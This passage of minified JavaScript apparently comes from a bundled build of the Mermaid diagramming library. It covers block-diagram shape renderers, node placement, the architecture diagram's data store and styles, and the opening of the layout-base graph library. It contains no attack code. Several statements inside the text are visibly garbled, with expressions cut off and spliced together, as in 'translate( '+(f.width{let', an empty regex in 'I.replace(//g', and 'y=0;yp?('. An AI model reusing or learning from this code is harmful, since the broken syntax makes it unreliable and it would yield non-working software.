label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"composite"),lit=o(async(t,e)=>{let{shapeSvg:r}=await Li(t,e,"label",!0);X.trace("Classes = ",e.class);let n=r.insert("rect",":first-child"),i=0,a=0;if(n.attr("width",i).attr("height",a),r.attr("class","label edgeLabel"),e.props){let s=new Set(Object.keys(e.props));e.props.borders&&(Tz(n,e.props.borders,i,a),s.delete("borders")),s.forEach(l=>{X.warn(`Unknown node property ${l}`)})}return ti(e,n),e.intersect=function(s){return $n.rect(e,s)},r},"labelRect");o(Tz,"applyNodePropertyBorders");cit=o(async(t,e)=>{let r;e.classes?r="node "+e.classes:r="node default";let n=t.insert("g").attr("class",r).attr("id",e.domId||e.id),i=n.insert("rect",":first-child"),a=n.insert("line"),s=n.insert("g").attr("class","label"),l=e.labelText.flat?e.labelText.flat():e.labelText,u="";typeof l=="object"?u=l[0]:u=l,X.info("Label text abc79",u,l,typeof l=="object");let h=s.node().appendChild(await ks(u,e.labelStyle,!0,!0)),f={width:0,height:0};if(vr(ge().flowchart.htmlLabels)){let y=h.children[0],v=qe(h);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}X.info("Text 2",l);let d=l.slice(1,l.length),p=h.getBBox(),m=s.node().appendChild(await ks(d.join?d.join("
    "):d,e.labelStyle,!0,!0));if(vr(ge().flowchart.htmlLabels)){let y=m.children[0],v=qe(m);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}let g=e.padding/2;return qe(m).attr("transform","translate( "+(f.width>p.width?0:(p.width-f.width)/2)+", "+(p.height+g+5)+")"),qe(h).attr("transform","translate( "+(f.width{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.height+e.padding,a=n.width+i/4+e.padding,s=r.insert("rect",":first-child").attr("style",e.style).attr("rx",i/2).attr("ry",i/2).attr("x",-a/2).attr("y",-i/2).attr("width",a).attr("height",i);return ti(e,s),e.intersect=function(l){return $n.rect(e,l)},r},"stadium"),hit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=r.insert("circle",":first-child");return a.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("Circle main"),ti(e,a),e.intersect=function(s){return X.info("Circle intersect",e,n.width/2+i,s),$n.circle(e,n.width/2+i,s)},r},"circle"),fit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=5,s=r.insert("g",":first-child"),l=s.insert("circle"),u=s.insert("circle");return s.attr("class",e.class),l.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i+a).attr("width",n.width+e.padding+a*2).attr("height",n.height+e.padding+a*2),u.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("DoubleCircle main"),ti(e,l),e.intersect=function(h){return X.info("DoubleCircle intersect",e,n.width/2+i+a,h),$n.circle(e,n.width/2+i+a,h)},r},"doublecircle"),dit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i,y:0},{x:i,y:-a},{x:0,y:-a},{x:0,y:0},{x:-8,y:0},{x:i+8,y:0},{x:i+8,y:-a},{x:-8,y:-a},{x:-8,y:0}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"subroutine"),pit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child");return n.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),ti(e,n),e.intersect=function(i){return $n.circle(e,7,i)},r},"start"),s4e=o((t,e,r)=>{let n=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),i=70,a=10;r==="LR"&&(i=10,a=70);let s=n.append("rect").attr("x",-1*i/2).attr("y",-1*a/2).attr("width",i).attr("height",a).attr("class","fork-join");return ti(e,s),e.height=e.height+e.padding/2,e.width=e.width+e.padding/2,e.intersect=function(l){return $n.rect(e,l)},n},"forkJoin"),mit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child"),i=r.insert("circle",":first-child");return i.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),n.attr("class","state-end").attr("r",5).attr("width",10).attr("height",10),ti(e,i),e.intersect=function(a){return $n.circle(e,7,a)},r},"end"),git=o(async(t,e)=>{let r=e.padding/2,n=4,i=8,a;e.classes?a="node "+e.classes:a="node default";let s=t.insert("g").attr("class",a).attr("id",e.domId||e.id),l=s.insert("rect",":first-child"),u=s.insert("line"),h=s.insert("line"),f=0,d=n,p=s.insert("g").attr("class","label"),m=0,g=e.classData.annotations?.[0],y=e.classData.annotations[0]?"\xAB"+e.classData.annotations[0]+"\xBB":"",v=p.node().appendChild(await ks(y,e.labelStyle,!0,!0)),x=v.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=v.children[0],R=qe(v);x=C.getBoundingClientRect(),R.attr("width",x.width),R.attr("height",x.height)}e.classData.annotations[0]&&(d+=x.height+n,f+=x.width);let b=e.classData.label;e.classData.type!==void 0&&e.classData.type!==""&&(ge().flowchart.htmlLabels?b+="<"+e.classData.type+">":b+="<"+e.classData.type+">");let T=p.node().appendChild(await ks(b,e.labelStyle,!0,!0));qe(T).attr("class","classTitle");let S=T.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=T.children[0],R=qe(T);S=C.getBoundingClientRect(),R.attr("width",S.width),R.attr("height",S.height)}d+=S.height+n,S.width>f&&(f=S.width);let w=[];e.classData.members.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,w.push(L)}),d+=i;let k=[];if(e.classData.methods.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,k.push(L)}),d+=i,g){let C=(f-x.width)/2;qe(v).attr("transform","translate( "+(-1*f/2+C)+", "+-1*d/2+")"),m=x.height+n}let A=(f-S.width)/2;return qe(T).attr("transform","translate( "+(-1*f/2+A)+", "+(-1*d/2+m)+")"),m+=S.height+n,u.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,w.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m+i/2)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),m+=i,h.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,k.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),l.attr("style",e.style).attr("class","outer title-state").attr("x",-f/2-r).attr("y",-(d/2)-r).attr("width",f+e.padding).attr("height",d+e.padding),ti(e,l),e.intersect=function(C){return $n.rect(e,C)},s},"class_box"),o4e={rhombus:a4e,composite:oit,question:a4e,rect:sit,labelRect:lit,rectWithTitle:cit,choice:Knt,circle:hit,doublecircle:fit,stadium:uit,hexagon:Qnt,block_arrow:Znt,rect_left_inv_arrow:Jnt,lean_right:eit,lean_left:tit,trapezoid:rit,inv_trapezoid:nit,rect_right_inv_arrow:iit,cylinder:ait,start:pit,end:mit,note:r4e,subroutine:dit,fork:s4e,join:s4e,class_box:git},IC={},wz=o(async(t,e,r)=>{let n,i;if(e.link){let a;ge().securityLevel==="sandbox"?a="_top":e.linkTarget&&(a=e.linkTarget||"_blank"),n=t.insert("svg:a").attr("xlink:href",e.link).attr("target",a),i=await o4e[e.shape](n,e,r)}else i=await o4e[e.shape](t,e,r),n=i;return e.tooltip&&i.attr("title",e.tooltip),e.class&&i.attr("class","node default "+e.class),IC[e.id]=n,e.haveCallback&&IC[e.id].attr("class",IC[e.id].attr("class")+" clickable"),n},"insertNode"),l4e=o(t=>{let e=IC[t.id];X.trace("Transforming node",t.diff,t,"translate("+(t.x-t.width/2-5)+", "+t.width/2+")");let r=8,n=t.diff||0;return t.clusterNode?e.attr("transform","translate("+(t.x+n-t.width/2)+", "+(t.y-t.height/2-r)+")"):e.attr("transform","translate("+t.x+", "+t.y+")"),n},"positionNode")});function u4e(t,e,r=!1){let n=t,i="default";(n?.classes?.length||0)>0&&(i=(n?.classes??[]).join(" ")),i=i+" flowchart-label";let a=0,s="",l;switch(n.type){case"round":a=5,s="rect";break;case"composite":a=0,s="composite",l=0;break;case"square":s="rect";break;case"diamond":s="question";break;case"hexagon":s="hexagon";break;case"block_arrow":s="block_arrow";break;case"odd":s="rect_left_inv_arrow";break;case"lean_right":s="lean_right";break;case"lean_left":s="lean_left";break;case"trapezoid":s="trapezoid";break;case"inv_trapezoid":s="inv_trapezoid";break;case"rect_left_inv_arrow":s="rect_left_inv_arrow";break;case"circle":s="circle";break;case"ellipse":s="ellipse";break;case"stadium":s="stadium";break;case"subroutine":s="subroutine";break;case"cylinder":s="cylinder";break;case"group":s="rect";break;case"doublecircle":s="doublecircle";break;default:s="rect"}let u=zL(n?.styles??[]),h=n.label,f=n.size??{width:0,height:0,x:0,y:0};return{labelStyle:u.labelStyle,shape:s,labelText:h,rx:a,ry:a,class:i,style:u.style,id:n.id,directions:n.directions,width:f.width,height:f.height,x:f.x,y:f.y,positioned:r,intersect:void 0,type:n.type,padding:l??Qt()?.block?.padding??0}}async function yit(t,e,r){let n=u4e(e,r,!1);if(n.type==="group")return;let i=Qt(),a=await wz(t,n,{config:i}),s=a.node().getBBox(),l=r.getBlock(n.id);l.size={width:s.width,height:s.height,x:0,y:0,node:a},r.setBlock(l),a.remove()}async function vit(t,e,r){let n=u4e(e,r,!0);if(r.getBlock(n.id).type!=="space"){let a=Qt();await wz(t,n,{config:a}),e.intersect=n?.intersect,l4e(n)}}async function kz(t,e,r,n){for(let i of e)await n(t,i,r),i.children&&await kz(t,i.children,r,n)}async function h4e(t,e,r){await kz(t,e,r,yit)}async function f4e(t,e,r){await kz(t,e,r,vit)}async function d4e(t,e,r,n,i){let a=new cn({multigraph:!0,compound:!0});a.setGraph({rankdir:"TB",nodesep:10,ranksep:10,marginx:8,marginy:8});for(let s of r)s.size&&a.setNode(s.id,{width:s.size.width,height:s.size.height,intersect:s.intersect});for(let s of e)if(s.start&&s.end){let l=n.getBlock(s.start),u=n.getBlock(s.end);if(l?.size&&u?.size){let h=l.size,f=u.size,d=[{x:h.x,y:h.y},{x:h.x+(f.x-h.x)/2,y:h.y+(f.y-h.y)/2},{x:f.x,y:f.y}];Gbe(t,{v:s.start,w:s.end,name:s.id},{...s,arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"},void 0,"block",a,i),s.label&&(await $be(t,{...s,label:s.label,labelStyle:"stroke: #333; stroke-width: 1.5px;fill:none;",arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"}),zbe({...s,x:d[1].x,y:d[1].y},{originalPath:d}))}}}var p4e=N(()=>{"use strict";qo();qn();Vbe();c4e();tr();o(u4e,"getNodeFromBlock");o(yit,"calculateBlockSize");o(vit,"insertBlockPositioned");o(kz,"performOperations");o(h4e,"calculateBlockSizes");o(f4e,"insertBlocks");o(d4e,"insertEdges")});var xit,bit,m4e,g4e=N(()=>{"use strict";yr();qn();Dbe();pt();Ei();Mbe();p4e();xit=o(function(t,e){return e.db.getClasses()},"getClasses"),bit=o(async function(t,e,r,n){let{securityLevel:i,block:a}=Qt(),s=n.db,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`);_be(h,["point","circle","cross"],n.type,e);let d=s.getBlocks(),p=s.getBlocksFlat(),m=s.getEdges(),g=h.insert("g").attr("class","block");await h4e(g,d,s);let y=Nbe(s);if(await f4e(g,d,s),await d4e(g,m,p,s,e),y){let v=y,x=Math.max(1,Math.round(.125*(v.width/v.height))),b=v.height+x+10,T=v.width+10,{useMaxWidth:S}=a;mn(h,b,T,!!S),X.debug("Here Bounds",y,v),h.attr("viewBox",`${v.x-5} ${v.y-5} ${v.width+10} ${v.height+10}`)}},"draw"),m4e={draw:bit,getClasses:xit}});var y4e={};dr(y4e,{diagram:()=>Tit});var Tit,v4e=N(()=>{"use strict";vbe();Sbe();Abe();g4e();Tit={parser:ybe,db:Ebe,renderer:m4e,styles:Cbe}});var Ez,Sz,N4,T4e,Cz,Ya,nu,M4,w4e,Sit,I4,k4e,E4e,S4e,C4e,A4e,OC,td,PC=N(()=>{"use strict";Ez={L:"left",R:"right",T:"top",B:"bottom"},Sz={L:o(t=>`${t},${t/2} 0,${t} 0,0`,"L"),R:o(t=>`0,${t/2} ${t},0 ${t},${t}`,"R"),T:o(t=>`0,0 ${t},0 ${t/2},${t}`,"T"),B:o(t=>`${t/2},0 ${t},${t} 0,${t}`,"B")},N4={L:o((t,e)=>t-e+2,"L"),R:o((t,e)=>t-2,"R"),T:o((t,e)=>t-e+2,"T"),B:o((t,e)=>t-2,"B")},T4e=o(function(t){return Ya(t)?t==="L"?"R":"L":t==="T"?"B":"T"},"getOppositeArchitectureDirection"),Cz=o(function(t){let e=t;return e==="L"||e==="R"||e==="T"||e==="B"},"isArchitectureDirection"),Ya=o(function(t){let e=t;return e==="L"||e==="R"},"isArchitectureDirectionX"),nu=o(function(t){let e=t;return e==="T"||e==="B"},"isArchitectureDirectionY"),M4=o(function(t,e){let r=Ya(t)&&nu(e),n=nu(t)&&Ya(e);return r||n},"isArchitectureDirectionXY"),w4e=o(function(t){let e=t[0],r=t[1],n=Ya(e)&&nu(r),i=nu(e)&&Ya(r);return n||i},"isArchitecturePairXY"),Sit=o(function(t){return t!=="LL"&&t!=="RR"&&t!=="TT"&&t!=="BB"},"isValidArchitectureDirectionPair"),I4=o(function(t,e){let r=`${t}${e}`;return Sit(r)?r:void 0},"getArchitectureDirectionPair"),k4e=o(function([t,e],r){let n=r[0],i=r[1];return Ya(n)?nu(i)?[t+(n==="L"?-1:1),e+(i==="T"?1:-1)]:[t+(n==="L"?-1:1),e]:Ya(i)?[t+(i==="L"?1:-1),e+(n==="T"?1:-1)]:[t,e+(n==="T"?1:-1)]},"shiftPositionByArchitectureDirectionPair"),E4e=o(function(t){return t==="LT"||t==="TL"?[1,1]:t==="BL"||t==="LB"?[1,-1]:t==="BR"||t==="RB"?[-1,-1]:[-1,1]},"getArchitectureDirectionXYFactors"),S4e=o(function(t,e){return M4(t,e)?"bend":Ya(t)?"horizontal":"vertical"},"getArchitectureDirectionAlignment"),C4e=o(function(t){return t.type==="service"},"isArchitectureService"),A4e=o(function(t){return t.type==="junction"},"isArchitectureJunction"),OC=o(t=>t.data(),"edgeData"),td=o(t=>t.data(),"nodeData")});var Cit,vy,Az=N(()=>{"use strict";qn();La();tr();ci();PC();Cit=ur.architecture,vy=class{constructor(){this.nodes={};this.groups={};this.edges=[];this.registeredIds={};this.elements={};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir;this.clear()}static{o(this,"ArchitectureDB")}clear(){this.nodes={},this.groups={},this.edges=[],this.registeredIds={},this.dataStructures=void 0,this.elements={},Sr()}addService({id:e,icon:r,in:n,title:i,iconText:a}){if(this.registeredIds[e]!==void 0)throw new Error(`The service id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The service [${e}] cannot be placed within itself`);if(this.registeredIds[n]===void 0)throw new Error(`The service [${e}]'s parent does not exist. Please make sure the parent is created before this service`);if(this.registeredIds[n]==="node")throw new Error(`The service [${e}]'s parent is not a group`)}this.registeredIds[e]="node",this.nodes[e]={id:e,type:"service",icon:r,iconText:a,title:i,edges:[],in:n}}getServices(){return Object.values(this.nodes).filter(C4e)}addJunction({id:e,in:r}){this.registeredIds[e]="node",this.nodes[e]={id:e,type:"junction",edges:[],in:r}}getJunctions(){return Object.values(this.nodes).filter(A4e)}getNodes(){return Object.values(this.nodes)}getNode(e){return this.nodes[e]??null}addGroup({id:e,icon:r,in:n,title:i}){if(this.registeredIds?.[e]!==void 0)throw new Error(`The group id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The group [${e}] cannot be placed within itself`);if(this.registeredIds?.[n]===void 0)throw new Error(`The group [${e}]'s parent does not exist. Please make sure the parent is created before this group`);if(this.registeredIds?.[n]==="node")throw new Error(`The group [${e}]'s parent is not a group`)}this.registeredIds[e]="group",this.groups[e]={id:e,icon:r,title:i,in:n}}getGroups(){return Object.values(this.groups)}addEdge({lhsId:e,rhsId:r,lhsDir:n,rhsDir:i,lhsInto:a,rhsInto:s,lhsGroup:l,rhsGroup:u,title:h}){if(!Cz(n))throw new Error(`Invalid direction given for left hand side of edge ${e}--${r}. Expected (L,R,T,B) got ${String(n)}`);if(!Cz(i))throw new Error(`Invalid direction given for right hand side of edge ${e}--${r}. Expected (L,R,T,B) got ${String(i)}`);if(this.nodes[e]===void 0&&this.groups[e]===void 0)throw new Error(`The left-hand id [${e}] does not yet exist. Please create the service/group before declaring an edge to it.`);if(this.nodes[r]===void 0&&this.groups[r]===void 0)throw new Error(`The right-hand id [${r}] does not yet exist. Please create the service/group before declaring an edge to it.`);let f=this.nodes[e].in,d=this.nodes[r].in;if(l&&f&&d&&f==d)throw new Error(`The left-hand id [${e}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);if(u&&f&&d&&f==d)throw new Error(`The right-hand id [${r}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);let p={lhsId:e,lhsDir:n,lhsInto:a,lhsGroup:l,rhsId:r,rhsDir:i,rhsInto:s,rhsGroup:u,title:h};this.edges.push(p),this.nodes[e]&&this.nodes[r]&&(this.nodes[e].edges.push(this.edges[this.edges.length-1]),this.nodes[r].edges.push(this.edges[this.edges.length-1]))}getEdges(){return this.edges}getDataStructures(){if(this.dataStructures===void 0){let e={},r=Object.entries(this.nodes).reduce((u,[h,f])=>(u[h]=f.edges.reduce((d,p)=>{let m=this.getNode(p.lhsId)?.in,g=this.getNode(p.rhsId)?.in;if(m&&g&&m!==g){let y=S4e(p.lhsDir,p.rhsDir);y!=="bend"&&(e[m]??={},e[m][g]=y,e[g]??={},e[g][m]=y)}if(p.lhsId===h){let y=I4(p.lhsDir,p.rhsDir);y&&(d[y]=p.rhsId)}else{let y=I4(p.rhsDir,p.lhsDir);y&&(d[y]=p.lhsId)}return d},{}),u),{}),n=Object.keys(r)[0],i={[n]:1},a=Object.keys(r).reduce((u,h)=>h===n?u:{...u,[h]:1},{}),s=o(u=>{let h={[u]:[0,0]},f=[u];for(;f.length>0;){let d=f.shift();if(d){i[d]=1,delete a[d];let p=r[d],[m,g]=h[d];Object.entries(p).forEach(([y,v])=>{i[v]||(h[v]=k4e([m,g],y),f.push(v))})}}return h},"BFS"),l=[s(n)];for(;Object.keys(a).length>0;)l.push(s(Object.keys(a)[0]));this.dataStructures={adjList:r,spatialMaps:l,groupAlignments:e}}return this.dataStructures}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}getConfig(){return Vn({...Cit,...Qt().architecture})}getConfigField(e){return this.getConfig()[e]}}});var Ait,_z,_4e=N(()=>{"use strict";Uf();pt();r0();Az();Ait=o((t,e)=>{nl(t,e),t.groups.map(r=>e.addGroup(r)),t.services.map(r=>e.addService({...r,type:"service"})),t.junctions.map(r=>e.addJunction({...r,type:"junction"})),t.edges.map(r=>e.addEdge(r))},"populateDb"),_z={parser:{yy:void 0},parse:o(async t=>{let e=await bs("architecture",t);X.debug(e);let r=_z.parser?.yy;if(!(r instanceof vy))throw new Error("parser.parser?.yy was not a ArchitectureDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Ait(e,r)},"parse")}});var _it,D4e,L4e=N(()=>{"use strict";_it=o(t=>` + .edge { + stroke-width: ${t.archEdgeWidth}; + stroke: ${t.archEdgeColor}; + fill: none; + } + + .arrow { + fill: ${t.archEdgeArrowColor}; + } + + .node-bkg { + fill: none; + stroke: ${t.archGroupBorderColor}; + stroke-width: ${t.archGroupBorderWidth}; + stroke-dasharray: 8; + } + .node-icon-text { + display: flex; + align-items: center; + } + + .node-icon-text > div { + color: #fff; + margin: 1px; + height: fit-content; + text-align: center; + overflow: hidden; + display: -webkit-box; + -webkit-box-orient: vertical; + } +`,"getStyles"),D4e=_it});var Lz=Da((O4,Dz)=>{"use strict";o((function(e,r){typeof O4=="object"&&typeof Dz=="object"?Dz.exports=r():typeof define=="function"&&define.amd?define([],r):typeof O4=="object"?O4.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(O4,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=28)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(5);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp?(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)):this.labelPosHorizontal=="right"&&this.setWidth(p+this.labelWidth)),this.labelHeight&&(this.labelPosVertical=="top"?(this.rect.y-=this.labelHeight,this.setHeight(m+this.labelHeight)):this.labelPosVertical=="center"&&this.labelHeight>m?(this.rect.y-=(this.labelHeight-m)/2,this.setHeight(this.labelHeight)):this.labelPosVertical=="bottom"&&this.setHeight(m+this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";var n=r(0);function i(){}o(i,"FDLayoutConstants");for(var a in 